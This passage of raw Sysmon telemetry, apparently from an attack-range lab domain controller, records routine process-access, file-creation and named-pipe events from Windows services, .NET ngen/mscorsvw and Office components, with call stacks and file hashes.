4e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.352{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F008-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.352{7BD73061-65B2-613B-1300-00000000F001}926172C:\Windows\System32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+ac96|c:\windows\system32\pcasvc.dll+aaf6|c:\windows\system32\pcasvc.dll+aab8|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F008-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.336{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-F008-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.258{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-EF08-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.242{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-EF08-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.242{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-EF08-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.227{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-walMD5=5C2794A41B4646FA3D0103CA035B02A6,SHA256=84E0DA73CADB17420C2BF0F937891B8D909CACC9D2A3A122B9CA6380140777A3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.227{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-shmMD5=CB6C8F064AC04FCAD4FEA2EA6C93E6C4,SHA256=2C53D1FDDC6E75893660A91EC9BE44DA921D9C707E852CC98590914015CEB39F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.195{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-EE08-00000000F001}6792C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.164{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-EE08-00000000F001}6792C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.164{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-EE08-00000000F001}6792C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:16.148{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:16.148{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.133{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=636DB6492C9F1D9AEF36625FEA8FE87E,SHA256=62184F596E7106B90147571EAE12A9A647CAFCAF37A35C1D4AB586D534CBC65B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.117{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-ED08-00000000F001}4784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.102{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-ED08-00000000F001}4784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.102{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-ED08-00000000F001}4784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.070{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-EC08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.055{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-EC08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.055{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-EC08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 